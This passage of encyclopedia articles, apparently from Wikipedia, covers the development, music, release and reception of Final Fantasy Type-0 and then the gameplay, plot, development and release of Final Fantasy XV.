Developers had been planning a release on the next generation of mobile phones, as those available at the time could not offer all the capabilities they would need. While it was originally claimed to be a mobile exclusive, versions for both mobiles and the PlayStation Portable were being developed, with the latter to be revealed when the former was sufficiently advanced. The original staff members were Tabata, Yusuke Naora and Tetsuya Nomura. Nomura acted as a character designer and creative producer. Between 2006 and 2008, development wavered between inactivity and sluggishness since most of the team was devoted to Crisis Core: Final Fantasy VII. In 2008, it was said to be facing serious problems due to the scale of the project. An issue developers had grappled with was whether or not to make the command buttons used in the game visible on the mobile screen. Agito XIII was described as an online RPG using fully rendered 3D graphics similar to console games, as well as having gameplay elements from multiple genres such as MMORPGs, smaller-scale multiplayer-focused games, and standard role-playing games. Other unfinished concepts being developed were a day-night cycle, a calendar system linked to real-world time and dates, and a story influenced by player votes.
In 2008, Type-0 became a PSP exclusive, cancelling the mobile version of the game as the developers did not want to wait for mobile technology to reach a level which could handle their full vision for the game. Full development began that year by the same team who developed Crisis Core, but was again slowed as most of them were completing work on The 3rd Birthday. Because of these conflicting projects, Type-0 came close to being cancelled outright. Between 2009 and 2011, the title was changed to distance it from Final Fantasy XIII, since after the platform change the two games had little in common other than their shared mythos. One of the titles considered and rejected was Final Fantasy Live, referring to the game's multiplayer element. The new title, Final Fantasy Type-0, was intended to indicate the game's separation from the main series. It was also the beginning of an alternative numbering system parallel to the main series. The game made its first official public appearance under the new title at the Square Enix 1st Production Department Premier in Tokyo, along with a new trailer that was released to the public in January 2011.
Scenario and design
Type-0s scenario was conceived by Tabata and written by Hiroki Chiba and Sara Okabe. While the game was still titled Agito XIII, Tabata described it as "a major title [...] formed from a variety of concepts" which included the collision of four fantasies (the game's view of Orience), a battle between magic and weapons, and the two sides of reality. The early story concept drew heavily from popular manga and anime, but little survived after the platform change. Tabata instead chose a new style similar to historical films and documentaries. The new story's concept started with the idea of a war story told by young people caught up in the event, with its story themes revolving around death and its impact on others. A major inspiration was the Japanese documentary series Centuries of Picture. The final story was darker than many other Final Fantasy games. Despite its title change, the game was kept within the Fabula Nova Crystallis mythos. The approach taken with the mythos was to portray the roles of its deities from a historical standpoint, while telling a story focused on the human side of events. The cyclic nature of the game's universe was created to help incorporate aspects of the mythos. The roles and backgrounds for each character in the game were conceived and put into place after the setting and main story had been finalized. After the game's release, Tabata commented that when he was writing the story he would have liked to have been more thorough, and to have made the story easier for players to understand.
The game's logo artwork was drawn by regular series artist Yoshitaka Amano. The kanji symbol used in the logo was drawn by Naora, who had designed the Shinra logo in Final Fantasy VII and its companion media. Naora specifically requested that he draw the logo due to this previous experience. To achieve the grittier atmosphere, Naora took a research trip to a Japanese military camp to learn what being a military cadet was like. The island of the Vermillion Perystilium was based on an offshore Japanese island he had visited prior to his involvement with the game, adding elements in-game such as an offshore ship wreck to symbolize his fear of the sea. He was also influenced by an incident where he saw a dead cat surrounded by other cats to portray the bond between members of Class Zero, and the game's themes, in promotional artwork. The CGI cutscenes and some promotional art was created by Square Enix's in-house Visual Works studio.
The gameplay was inspired by the multi-character system of Before Crisis, while the naming of magic styles after weapons of war made reference to first-person shooters. The combat was designed to be filled with tension and portray each playable character's personality on the battlefield. The Eidolons were originally not controlled in realtime, but during the development of Ifrit, Tabata did some testing with real-time commands. The results impressed him enough that he decided to overcome the technical difficulties involved and make the Eidolons controllable. Due to technical restrictions and the presence of the Academy Assist function, the game's artificial intelligence for playable characters needed to be limited to healing, survival and other minor actions. The game's multiplayer was deliberately designed around restricted segments. Its development was still ongoing during the summer of 2011, with a temporary stoppage of PlayStation Network that year negatively affecting its development. Because of the size of the project, debugging the game took far longer than anticipated. Between the release of the demo and the full game, adjustments were made to gameplay mechanics and the in-game camera. In a post-release interview, Tabata commented that he would have liked to expand the multiplayer functions to include an ad-hoc function and expanded cooperative gameplay, and create a more forgiving learning curve for players.
Music
The music for Type-0 was composed by Takeharu Ishimoto. He had previously composed the music for Before Crisis, Crisis Core and The World Ends with You. Ishimoto gave the music a dark and heavy feel, describing the themes as "war, life, and death". He used less rock elements than in his previous games to promote a feeling of immersion. One of his primary instruments was the guitar, which Ishimoto played himself during recording sessions. Although the title was for the PSP, the team did not want to hold back despite hardware limitations, recording a quantity of tracks unusual for a spin-off Final Fantasy title. Wherever possible, the recording was done live. The orchestral and choral elements were performed by the Sydney Symphony Orchestra and the Cantillation chamber choir, and the recording and mixing of these tracks was done at the Sydney Opera House. Recording for other tracks was done at Ishimoto's studio in Japan. After recording, Ishimoto combined the orchestral and choral elements, and rearranged the main leitmotifs to create more variety in the score. Arrangements for the orchestral tunes were done by Kentaro Sato, while arrangements for other tracks were done by Rieko Mikoshiba.
The game's theme song, "Zero", was composed and performed by Japanese rock band Bump of Chicken. The band, which was a big fan of the Final Fantasy series, was contacted by Square Enix to compose and perform the song and agreed readily. It was brought in after the platform move onto the PSP, but while the game was still titled Agito XIII. While looking for inspiration, the band was able to see in-development screenshots of the game, samples of the script, and character illustrations. The band was mostly given a free hand while composing the song. Its one guideline was provided by Tabata, who suggested the theme song for Centuries of Picture, "Is Paris Burning?" by Takeshi Kako, as a source of inspiration. Multiple versions of "Zero" were composed for use in different areas of the game. At the request of band leader Motoo Fujiwara, Amano's logo artwork was used for the cover of the single's limited edition.
Final Fantasy Type-0 Original Soundtrack was released on October 26, 2011. The soundtrack was released in a standard edition, as well as a limited edition that could be purchased both separately and with the collector's edition of the game. A promotional album featuring five tracks was sold by Square Enix at their booth at the Odaiba Expo 2011. The album stayed on the Oricon charts for seven weeks, reaching a high of #25. The soundtrack has received positive reviews in the west from dedicated music outlets Original Sound Version and Game-OST, with the sites giving both individual tracks and the work in general high praise. "Zero" was released on October 19 the same year. It was released as a single instead of being part of the main soundtrack, receiving both a limited and standard edition. The single remained in the Oricon charts for thirty-two weeks, peaking at #2.
Track listings
Release
Type-0 was released on October 27, 2011, receiving both physical and digital releases. It was initially announced for release in summer of that year, but unspecified difficulties with development including the stoppage of PlayStation Network caused a delay. The game was then scheduled for October 13 release, but was delayed by two weeks. While Square Enix stated it wanted to improve its quality, no other information was given. It was speculated to be due to complaints surrounding the camera control and other gameplay elements. The releases of the soundtrack and the theme song were also delayed. Type-0 was one of a few releases for the PSP to be released on two UMDs, as Tabata wanted to cut as little content as possible, which would have been impossible if they had settled for using one UMD. A demo for the original game was released in August the same year, featuring seven playable characters and four missions at locked difficulty levels. Save data could be transferred to the full game, unlocking special costumes and items and keeping experience points. A second demo was released on November 22, a month after the full game's release. It replaced the original demo and gave players access to exclusive items and costumes. A collector's edition was released exclusively through Square Enix's online store, containing artwork, a limited edition version of the soundtrack, postcards and a booklet of character introductions. The title was later added to their Ultimate Hits budget title collection.
Type-0 has never received an official localization in its original form. During development, while it was still titled Agito XIII, Tabata said he was trying to make the game appealing to North American players. Despite a localization being confirmed as in development in an official guidebook interview, the original version of Type-0 was not released in the west. In the wake of the game's release in Japan, 1UP.com and Joystiq speculated that the game could be successfully brought west as a port to the PlayStation Vita. Tabata later commented that the main reasons for the game not being localized were the flagging Western PSP market and uncertainties surrounding the Vita's commercial success.
An unofficial fan translation patch was announced in mid-2012. Work on the fan translation took place over the following two years, during which time Square Enix was noncommittal concerning an official Western release. The patch was initially announced for an August 2014 release, but was instead released on June 9. According to the translation team leader, the patch was downloaded 100,000 times in the first four days. It was taken down in July of the same year after Square Enix allegedly threatened unspecified legal action, originally thought to be a cease-and-desist order. Later statements revealed that the patch was released earlier than originally announced due to the lead translator on the project wanting fans to see their achievements, which ended up causing a rift between him and the rest of the team. Before the release, Square Enix and the translation team had been in friendly communication concerning the translation. The formal requests to take the patch down were made in the weeks following its release, shortly before the announcement of Type-0 HD. Work on the patch was eventually resumed and a second version, which included unofficial compatibility with the PlayStation 3 system and further translation bugfixes, was eventually released in 2015.
Merchandise
Multiple pieces of merchandise were created for the game. An Ultimania, part of a series of dedicated guidebooks, was released in the same month as the original game. It contained story and character breakdowns, concept art, and interviews with developers. A different book, was also released in October. It featured character biographies, details on the world of Orience, and interviews with the voice actors for Class Zero. The following year, a dedicated art book was released containing artwork of the game's characters and monsters, and an interview with Tabata. Characters from the game, including Ace, Machina and other members of Class Zero, appeared in the fourth series of releases for the Final Fantasy Trading Card Game. In November 2011, a manga adaptation of Type-0, illustrated by Takatoshi Shiozawa, began serialization in Young Gangan magazine. The manga has been collected into a tankōbon volume and was released on April 21, 2012. Another manga titled also illustrated by Shiozawa, began publication in Young Gangan in April 2012. It ended in January 2014, with a bonus chapter being published in February of that year, and was later released in five compiled volumes. Yen Press began distribution of the manga in the west in July 2015. Square Enix released two novel adaptations, in April and June 2012, depicting an alternate version of Type-0s story: and The novels were written by Sōki Tsukishima.
Reception
In the first week on sale, Final Fantasy Type-0 sold 472,253 units, topping Japanese sales charts and selling through 79.08% of its initial shipments. As of January 2012, the game had sold 746,203 copies in Japan. It was the best-selling game of 2011 for Japanese media retail shop Tsutaya, beating Monster Hunter Portable 3rd (PlayStation Portable) and Final Fantasy XIII-2 (PlayStation 3). It was also the store's best-selling PSP title of the year, followed by Monster Hunter Portable 3rd and Dissidia 012 Final Fantasy.
Famitsu and Dengeki PlayStation both praised the story, with Famitsu saying it "vividly portrays the fact that this is a deep, intense Final Fantasy experience, something beyond just a side story". Gaming website PlayStation LifeStyle's Heath Hindman was impressed by the darker presentation, calling it "powerful and well done throughout", and was impressed with the characters despite some awkward introductory scenes. Erren Van Duine, writing for RPG Site, said that fans would appreciate the scale of the narrative, and praised the handling of the Fabula Nova Crystallis mythos. She did note that some plot points seemed only included for the sake of convenience, and that the ending forced a second playthrough to see the whole story.
Famitsu called the original version's gameplay a "stressless experience", praising the game's size and saying the action-oriented battle system made it "a very different Final Fantasy". Dengeki PlayStation similarly praised its size and the tense combat, though the review found aspects of the navigation less appealing. Hindman was generally positive about most aspects of gameplay and the high replay value, but found faults with the scripted opening of the overworld and the real-time strategy segments. Van Duine said the gameplay encouraged immersion and was harsh on novices; she praised several aspects of gameplay, but described the leveling system as "tricky". The multiplayer functions were universally praised in Japan. Opinions were divided on the original camera, with Famitsu praising its movement, while Van Duine and Dengeki PlayStation found issues with it getting stuck in the environment or impeding visibility. The character AI also received criticism for being unresponsive or wayward.
Legacy
Type-0 affected several other works in multiple ways. During its development, several staff members and voice actors who had worked on Final Fantasy X reunited. Their meeting triggered the development of Final Fantasy X/X-2 HD Remaster. In September 2013, Square Enix revealed Final Fantasy Agito, an online companion game to Type-0 for iOS and Android mobile devices. The game was released in May 2014, and a localization was announced alongside that of Type-0. Its servers were closed down in November 2015, with its localization being cancelled as a result. A new online game set in the Type-0 universe, Final Fantasy Awakening, was released in Asian and English-speaking territories between 2016 and 2018.
While working on Final Fantasy XV, Tabata decided to make a high-definition remaster of Type-0 for eighth-generation consoles. Developed by Square Enix and HexaDrive, Final Fantasy Type-0 HD was released worldwide in March 2015. After Type-0s release, Tabata stated in an interview that he wished to explore the distant history of Orience after the events of the game. Trademarks for Type-1, Type-2 and Type-3 were registered shortly after the Type-0 trademark, but it was suggested that they were simply a protective measure. During interviews given in 2014, Tabata commented that he wished to work on Type-1 after completing XV, and later explained the conceptual Type series as a means of publishing Final Fantasy games too experimental for the main series. He hoped to continue with the Type series if Type-0 HD was commercially successful.
References
Translations
External links
Final Fantasy Type-0 manga introduction at Gangan Comics
Final Fantasy Type-0 novel index at Gangan Comics
Final Fantasy Type-0
2011 video games
Action role-playing video games
Cancelled mobile games
Japan-exclusive video games
Fabula Nova Crystallis Final Fantasy
Final Fantasy video games
Multiplayer and single-player video games
PlayStation Portable games
PlayStation Portable-only games
Role-playing video games
Video games developed in Japan
Video games scored by Takeharu Ishimoto
Video games set on fictional planets
War video games
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https://en.wikipedia.org/wiki/Final%20Fantasy%20XV
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Final Fantasy XV
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is an action role-playing game developed and published by Square Enix. The fifteenth main installment of the Final Fantasy series, it was released for the PlayStation 4 and Xbox One in 2016, Windows in 2018, and as a launch title for Stadia in 2019. The game features an open world environment and action-based battle system, incorporating quick-switching weapons, elemental magic, and other features such as vehicle travel and camping. The base campaign was later expanded with downloadable content (DLC), adding further gameplay options such as additional playable characters and multiplayer.
Final Fantasy XV takes place on the fictional world of Eos; aside from Insomnia, the capital of Lucis, all the world is dominated by the empire of Niflheim, who seek control of the magical Crystal protected by the Lucian royal family. On the eve of peace negotiations, Niflheim attacks the capital and steals the Crystal. Noctis Lucis Caelum, heir to the Lucian throne, goes on a quest to rescue the Crystal and defeat Niflheim. He later learns his full role as the "True King", destined to use the Crystal's powers to save Eos from eternal darkness. The game shares a thematic connection with Fabula Nova Crystallis Final Fantasy, a subseries of games linked by a common mythos which includes Final Fantasy XIII and Final Fantasy Type-0.
The game's development began in 2006 as a PlayStation 3 spin-off titled Tetsuya Nomura served as the original director and character designer. After a development period of six years, it was changed to the next mainline title in the series in 2012; Nomura was replaced as director by Hajime Tabata, and the game shifted to eighth generation platforms. Due to the changes, the story needed to be rewritten and some scenes and characters were repurposed or removed. The setting of Final Fantasy XV was "a fantasy based on reality", with locations and creatures based on elements from the real world.
To supplement the game, Square Enix created a multimedia project called the "Final Fantasy XV Universe", which includes a few spin-off games, as well as an anime series and feature film. Gameplay and story-based DLC was released between 2017 and 2019. Upon release, Final Fantasy XV was well received by critics. Widespread praise was given for its gameplay, visuals and soundtrack, while reception towards its story and presentation was mixed. As of May 2022, the game has sold ten million units worldwide, making it one of the best-selling Final Fantasy games of all time.
Gameplay
Final Fantasy XV is an open world action role-playing game where players take control of protagonist Noctis Lucis Caelum during his journey across the world of Eos. While accompanied by his three companions Gladiolus, Ignis and Prompto, Noctis is the only character directly controlled by the player: he can navigate through movement, jump over small obstacles, sprint for a limited time, and perform context-based actions such as taking cover behind objects. The kingdom of Lucis is a large connected landmass that can be explored on foot, by using the party's car "Regalia", or chocobos, recurring galliform birds in the Final Fantasy series. Both the Regalia and chosen Chocobos can be customised by the player, and Chocobos can join in battles if their connection to the characters is strong enough. While Chocobos are controlled manually, the Regalia can be either manually or automatically controlled. The party can also fast-travel to areas unlocked on the world map. The Regalia must be refueled periodically at petrol stations. In towns the party can visit, there are inns and hotels where they can stay, shops where items and equipment can be purchased with the in-game currency gil, and local tipsters, non-playable characters (NPCs) who provide information on quests, from main story missions to side quests. Side quests are also available from individual NPCs found in towns. During some story sequences, dialogue choices appear for Noctis, with the selected option altering the response from NPCs. The game also contains two difficulty modes, with players being able to freely switch between the two.
Battle system
The game uses an action-based real-time battle system, called the Active Cross Battle system. Instead of using a menu interface, the player selects commands directly mapped to buttons on the controller, such as "Attack", "Defend", and "Item". Battles take place within the current environment rather than transitioning to a separate arena, and can range from open plains to enclosed building interiors. When approaching enemies, a threat meter appears on the top of the screen, growing in intensity the closer the party gets to the enemy. When the party gets close and attacks or is detected, the battle begins. Running away from enemies and out of the combat zone in normal battles ends combat. During battle, each character has health points (HP), and Noctis also has magic points (MP). HP is depleted whenever a character is attacked, while Noctis's MP recovers over time when not in combat or when not using associated abilities such as warping or special weapon skills. If a character's current HP reaches zero, they enter Danger Mode, during which the maximum HP cap steadily decreases; the character is defeated when all of their maximum HP is lost. Some enemies, such as Daemons, are able to lower the HP cap with their attacks. If Noctis is defeated, there is a brief period where a revival item must be used. Should the player fail to do so, the game ends.
Noctis can perform four actions in battle: the standard attack; defending, which blocks and parries attacks; warping, which takes Noctis to a targeted area such as another enemy or an out-of-the-way warp point, and using items. There is a "Wait Mode" option available, where if all player input stops the battle pauses, and players are able to select new enemies to attack or actions to take within a time limit. An option available for both Noctis and Ignis in Wait Mode is Libra, an ability which displays an enemy's health, strengths and weaknesses. Noctis can find and equip a wide range of weapons, including single and double-handed swords, polearms, axes, shields, firearms, daggers and Royal Arms. The weapons manifest from thin air as Noctis fights, and can be manually shifted by the player. The type of weapon equipped determines the attack speed and the amount of damage on normal attacks. In addition to normal attacks, there are attacks that deal more damage based on Noctis' position such as "Side Strike" or "Blindside", in addition to the Warp Strike attack. Attacks from enemies can be parried, and depending on the quality of the parry Noctis can counterattack. If wielding a shield-type weapon, a successful block staggers an enemy, leaving them vulnerable to attack. Noctis can launch a special attack with the Royal Arms dubbed "Armiger", when the meter fills during combat: while more powerful than standard weapons, Royal Arms consume HP with each use. Noctis can also use two classes of firearms—Guns, which range from handguns like pistols to rifles; and Machinery, powerful weapons that have varying effects depending on the type used, from generating a powerful shockwave to dealing high melee damage.
Noctis's companions, controlled by the game's artificial intelligence (AI), can perform contextual commands. When Noctis successfully parries an enemy attack, or performs a Side Strike or Blindside, cooperative attacks between him and his companions called Link-strikes can be triggered. During battle, a meter called the Tech Bar fills. When full, Noctis can command his companions to perform special moves called Techniques: Gladiolus performs a sweeping attack with his sword, Ignis uses his daggers to mark enemies so Noctis can perform a warp strike attack, and Prompto uses his firearm to fire a powerful shot that pierces through tough opponents. After each of these, Noctis can initiate a follow-up attack. Noctis can also trigger an Armiger Chain, where he splits his Royal Arms between his companions before launching a single attack.
Magic is separated into two types: Elemancy and Arcana. Elemancy is separated into three types: Fire, Ice and Lightning. Elemental energy is drawn from points across the world map, being absorbed into special flasks and used to craft magical bombs that can be used on enemies. Elemancy can also be combined with specific items to add new effects, such as healing party members while damaging enemies. Both Noctis and his companions are able to use Elemancy. Arcana, accessed when Noctis has acquired and equipped a story-related item called the Ring of the Lucii, has access to more powerful magical abilities such as "Death", which drains an enemy's health. After a certain point in the game, Noctis can call upon summoned monsters called Astrals, which aid the party by launching a devastating attack. The summons featured are series regulars including Titan, Ramuh, Leviathan and Shiva. Their types of attack, and even whether they assist at all, is dependent on the environment: for instance, Leviathan can only be summoned in the open when there is a body of water nearby. At certain points in the story, Noctis is joined by guest characters who have their own Link-strikes and Techniques.
Character progression
After each battle, characters earn experience points (EXP), but they do not automatically level up when a certain amount of EXP has been gathered. Instead, the party must go to safe zones called "Havens", namely rest sites like inns or campsites. When the party rests at night, each character gains levels depending on the amount of EXP earned. If defeated in battle, all EXP gained up to that point since the last level up is permanently lost. Activities in the overworld earn the party Ability Points (AP). AP is spent on the Ascension Grid, the game's leveling system, which is divided into skill trees called "Astralspheres". Each Astralsphere is sorted by type, being associated with magic, combat or passive abilities. Spending AP opens up nodes within the Astralsphere, which in turn grants access to further nodes which require higher amounts of AP to unlock.
Noctis' companions each have their own skills which themselves level up based on usage, and affect equipment. Noctis' fishing ability improves the more times he fishes and the better items he uses, which in turn spreads to his equipment. Gladiolus' Survival skills increase based on the distance the party has travelled in a day, which improves the quality of their equipment and items. Ignis' cooking can be improved based on ingredients either purchased at shops or found in the wild, and his meals grant stat boosts to the party. Prompto takes photos during the party's journey, and the quality of his own skills increase over time. A post-release update enables control of all four characters during battle after unlocking a dedicated node in the Ascension Grid; each character uses specific weapon types and abilities tied to them.
Multiplayer
A multiplayer mode called Comrades was released as an expansion, with gameplay and combat lifted from the main game and tailored for multiplayer; rather than a pre-set character, players take the role of a customizable avatar who takes part in a portion of the story skipped over by the main narrative. The game begins with players choosing their gender, hairstyle, clothing and other aspects. Using the in-game city of Lestallum as their base, the player is assigned missions with three other characters—either other players or AI-controlled. During missions, the player fights monsters either on sorties or to defend transports; at the end of each mission, the player is awarded Gil, materials used for crafting and enhancing weapons, and "Meteorshards" which can power up settlements around Lestallum and open up new quests. Some areas unlock Royal Tombs which grant the player a Royal Sigil; these Sigils both increase specific statistics and grant new themed abilities such as healing or increasing combat moves. The player has access to a variety of weapon types from normal swords to maces and shurikens, which are enhanced using materials to increase passive abilities such as their damage capacity. The multiplayer mode was shut down in June 2020, though the Comrades campaign can still be played with NPC party members.
Plot
Setting
Final Fantasy XV takes place on the Earth-like world of Eos, which is divided between four nations: Lucis, Accordo, Tenebrae and Niflheim. Lucis, occupying a whole landmass, possesses a magical artifact known as the Crystal, gifted to the reigning Caelum dynasty by the world's deities in antiquity and accessed through the hereditary Ring of the Lucii. Accordo, located in the southern part of Eos, is an island nation formed through a union of free trading cities. The western continent is home to the technologically-advanced empire of Niflheim and the nation of Tenebrae, which is ruled by the Oracle—a priestess who can commune with the gods. The Oracle's main task is curing the Starscourge, a plague that absorbs all natural light and turns those infected into nocturnal monsters known as Daemons.
Central to the lore of Eos are the Astrals, six divine beings who serve as the guardians of the natural world and are based on summoned monsters from the Final Fantasy series; and the True King, a legendary figure prophesied to appear when the Starscourge threatens to plunge Eos into eternal night. A key part of Eos's backstory is the Great War of Old, a conflict born when the ancient human civilization of Solheim turned on the Astrals and their patron Ifrit; his subsequent attempt to destroy humanity defied the Astrals' duty to protect Eos, forcing their leader Bahamut to kill him. This conflict is implied to have caused the spread of the Starscourge across the planet, hastening the fall of Solheim.
For centuries, Lucis has been at war with the militaristic Niflheim, who seek to emulate Solheim's glory. To that end Niflheim has subjugated most of Eos, including Accordo and Tenebrae; Tenebrae retains limited political autonomy due to the Oracle's influence. Only Lucis's capital city of Insomnia remains unconquered due to the use of the Crystal's power, which is slowly draining the current king's life force. At the game's beginning an armistice is declared between the two nations due to the king's failing health; as part of the peace agreements, Niflheim will gain control of all Lucian territories outside Insomnia, and a marriage is arranged between the heirs apparent of the royal families of Lucis and Tenebrae.
Characters
The game's protagonist is Noctis Lucis Caelum, the Crown Prince of the Kingdom of Lucis, who loses his father in the Niflheim invasion. Noctis is accompanied on his journey throughout the world of Eos by his three friends: Gladiolus Amicitia, the scion of a family sworn to protect Noctis's family; Ignis Scientia, a prodigy military tactician and Noctis's aide; and Prompto Argentum, a childhood friend of Noctis from a lower social class. Guest characters include Cor Leonis, a legendary warrior of Lucis and the leader of the Crownsguard who acts as an early guide to Noctis's party; Iris Amicitia, the younger sister of Gladiolus; and Aranea Highwind, a mercenary dragoon in service to Niflheim. Other key characters are Lunafreya Nox Fleuret, the current Oracle and former Princess of Tenebrae who is betrothed to Noctis; Regis Lucis Caelum CXIII, king of Lucis and the father of Noctis; and Gentiana, Lunafreya's attendant. The empire of Niflheim is ruled by Emperor Iedolas Aldercapt. Aldercapt's notable subordinates include Ardyn Izunia, the imperial chancellor and the game's main antagonist; Ravus Nox Fleuret, Lunafreya's brother and the high commander of Niflheim; and Verstael Besithia, the empire's head researcher.
Story
Noctis and his three friends begin their journey to Altissia, the capital of Accordo, where Noctis's wedding to Lunafreya will take place. Finding the local boat services stopped, they receive news of Niflheim's attack on the city of Insomnia and theft of the Crystal; King Regis has been assassinated, and both Noctis and Lunafreya are declared dead. Meeting up with Cor, Noctis is tasked with retrieving the Royal Arms—the magical weapons of past Lucian kings—to rescue the Crystal and reclaim his throne. While staying in the city of Lestallum with Iris, Noctis is contacted by the Astral Titan; encouraged by Ardyn, Noctis endures Titan's trial and earns his power, learning that Lunafreya is traveling ahead of Noctis to awaken the Astrals from their slumber. The group continues to travel across Lucis, retrieving the Royal Arms and meeting the Astral Ramuh with assistance from Gentiana. He is also confronted by a hostile Ravus, spars with the mercenary Aranea, and receives further aid from Ardyn. The group eventually recover parts to repair Regis's old yacht, using it to travel to Altissia.
The party arrives in Altissia, where Lunafreya has taken sanctuary. Lunafreya awakens the Astral Leviathan so Noctis can obtain her power, only for Leviathan to go on a rampage when Niflheim attacks. Ardyn appears and mortally wounds Lunafreya, disrupting the ritual, but she succeeds in awakening Noctis's powers, allowing him to defeat Leviathan. While unconscious, he is visited in a dream by Lunafreya's spirit, who gives him the Ring of the Lucii. Noctis wakes to find Altissia in chaos, and that Ignis was blinded during the battle. The party continues towards Niflheim's capital of Gralea by train. Ignis' blindness and Noctis's mourning of Lunafreya cause friction with Gladiolus until Ignis forces a reconciliation. It is also revealed that the nights are growing longer, causing more Daemons to appear. Ardyn tricks Noctis into pushing Prompto off the train, and holds Prompto and the Crystal captive in Gralea's military fortress Zegnautus Keep, the primary laboratory where Niflheim creates its military infantry, cybernetic robots which use daemonic energy. Noctis discovers that the Crystal's power can destroy Daemons. Noctis continues to Tenebrae, where Aranea is aiding refugees from across Eos. There, Noctis learns that Lunafreya was dying from waking the Astrals, and that Ravus now supports him. On the final journey to Gralea, the train is ambushed by Daemons. After defeating them, Noctis receives the Astral Shiva's blessing from Gentiana, revealed as Shiva's human form.
Arriving to find Gralea overrun by Daemons, Noctis is separated from his friends and forced to use the Ring of the Lucii to survive Zegnautus Keep. After reuniting and rescuing Prompto, the party continues through Zegnautus Keep, defeating Ravus and Emperor Aldercapt, who have been transformed into Daemons. Forced to leave his friends behind, Noctis reaches the Crystal, only to be pulled into it. Ardyn appears and reveals himself as Ardyn Lucis Caelum, a healer ostracized with support from the Astrals and the Crystal, after being infected by the Starscourge. He sought revenge on the family bloodline and the Crystal, spreading the Starscourge while waiting for the True King to appear so he could destroy them both. Within the Crystal, Noctis meets Bahamut, and learns that he is the True King of prophecy, who will cleanse the Starscourge and restore light to Eos at the cost of his life. Noctis returns to Eos after ten years, finding the world engulfed in darkness. Reuniting with his friends, Noctis heads for Insomnia, fighting Ifrit—revived and corrupted by the Starscourge—before facing Ardyn. After killing Ardyn in single combat, Noctis ascends the throne and sacrifices himself, using the Crystal and Ring of the Lucii to purge the Starscourge from Eos. In the afterlife, with the help from Lunafreya, Noctis destroys Ardyn's spirit. In mid-credits and post-credits scenes, it is revealed that Noctis opened up to his companions before the final battle, and finds rest with Lunafreya in the afterlife.
Development
Final Fantasy XV was primarily developed by Square Enix's Business Division 2. Additional studios that helped with development included HexaDrive, XPEC Entertainment, Plusmile, and Streamline Studios. Staff included director Hajime Tabata; producer Shinji Hashimoto; main writer Saori Itamuro, who wrote the scenario based on the original draft by Kazushige Nojima; and art directors Tomohiro Hasegawa, Yusuke Naora and Isamu Kamikokuryo. Character designs were by Tetsuya Nomura and Roberto Ferrari, with later revisions by Naora. The main characters' clothing was designed by Hiromu Takahara, lead designer for Japanese fashion house Roen. The soundtrack was composed primarily by Yoko Shimomura, while both real-time and CGI cutscenes were directed by Takeshi Nozue of Visual Works, Square Enix's in-house CGI production studio. Logo illustration was by regular series artist Yoshitaka Amano.
Development began in 2006 as a spin-off for the PlayStation 3 called Final Fantasy Versus XIII, as part of the Fabula Nova Crystallis Final Fantasy, a subseries of games linked by a common mythos, and ran in Square Enix's proprietary Crystal Tools engine. Developed by the team behind the Kingdom Hearts series, it was intended to be a darker entry in the Final Fantasy series than allowed in the main series. Nomura was the original director, designer, and created the initial concept and scenario. The project suffered from a prolonged and troubled development, only making fragmentary appearances over the following six years. As early as 2007, the project's scale prompted talks of rebranding it as the next mainline entry. With the internal unveiling of the PlayStation 4 and Xbox One, it was decided to change it into a mainline entry, with a proposed PS3 version being scrapped due to technical troubles. The game's engine also changed, shifting to the company's new proprietary Luminous Engine. At the time of its rebranding and shift to next-generation consoles in 2012, Versus XIII was described as being on 20-25% complete, with Tabata saying it never took shape.
When Tabata took over from Nomura, the entire development team was reshuffled and development started over again, although he worked as a co-director with Nomura until late 2013 to ensure the project remained as true as possible to its original vision. Among the changes were the removal of the original story's opening, and the replacement of the original heroine Stella Nox Fleuret with the similarly named Lunafreya. The connection to Fabula Nova Crystallis was also reduced, with branding and mythos-specific terminology removed to aid in the game's marketing. Thematic, aesthetic and design elements were retained due to their core place in the world and backstory. The main concept behind Final Fantasy XV was "a fantasy based on reality", with the world being very similar to Earth and having fantasy elements gradually intruding into an otherwise normal setting. In pursuit of this, locations in Eos were based on real-world locations such as Tokyo, Venice and the Bahamas.
Final Fantasy XV Universe
Due to the scale of the game's narrative and Tabata's wish to release a single game rather than a series of games similar to Final Fantasy XIII, aspects of the planned narrative were refashioned into supplementary media projects. Known as the "Final Fantasy XV Universe", the projects were split into two parts; media designed to reach a wider audience than the game might manage alone, and additional game-related content such as ports to other hardware and DLC. The project was first revealed at a March 2016 press event called "Uncovered: Final Fantasy XV". Tabata later stated that those who just played the game would miss context for story events shown in other related media.
The two central parts of the "Final Fantasy XV Universe" are the feature film Kingsglaive: Final Fantasy XV and the original net animation Brotherhood: Final Fantasy XV. Brotherhood was produced by anime studio A-1 Pictures under supervision from Square Enix; the narrative focused on the backstories of Noctis and his companions. The series was released online between March and September 2016. Kingsglaive, which received a limited theatrical release in 2016, was a collaboration between Visual Works and Western studios including Digic Pictures and Image Engine; the story, which mainly focused on original characters, recycled story elements cut from the opening narrative of Final Fantasy XV.
Also forming part of the project were Platinum Demo: Final Fantasy XV, a game demo detailing an incident in Noctis's childhood which tied into the events of Brotherhood; Justice Monsters Five, a mobile game based on a minigame from Final Fantasy XV which was active from August 2016 to March 2017; A King's Tale: Final Fantasy XV, a promotional beat 'em up featuring Regis as the playable character; Monster of the Deep: Final Fantasy XV, a virtual reality simulation game released in 2017 for PlayStation VR; and Final Fantasy XV: A New Empire, a massively multiplayer online strategy game published by Machine Zone in 2017 and developed by their Epic Action subsidiary.
Release
Initially announced in 2006 alongside XIII and Type-0, the game was publicly rebranded at E3 2013, with regular updates on the title beginning the following year. A demo titled Final Fantasy XV: Episode Duscae was released in March 2015 as a limited addition to Final Fantasy Type-0 HD. The game's localization was handled by Dan Inoue, who used different accents for characters to denote their origins on different parts of Eos. In addition to English, Japanese and European languages, the game was localized for Latin America with Latin American Spanish and Brazilian Portuguese text: this was the first time a Final Fantasy title was localized into these languages.
Its initial worldwide release, September 30, was announced at the "Uncovered" event. Despite this intended date, further polishing work resulted in the date being pushed back to November 29. Further fixes were applied to the game through a Day One patch released concurrent with the game. The game was published in multiple editions, called "Day One", "Deluxe", and "Ultimate Collector's Edition". The "Deluxe" edition included a Blu-ray edition of Kingsglaive, while the "Ultimate Collector's Edition" included both Kingsglaive and a version of Brotherhood with additional footage related to Luna. In 2018, a version of the game called Royal Edition was released, which contained both all DLC published to that point in addition to further story and gameplay additions alongside technical improvements.
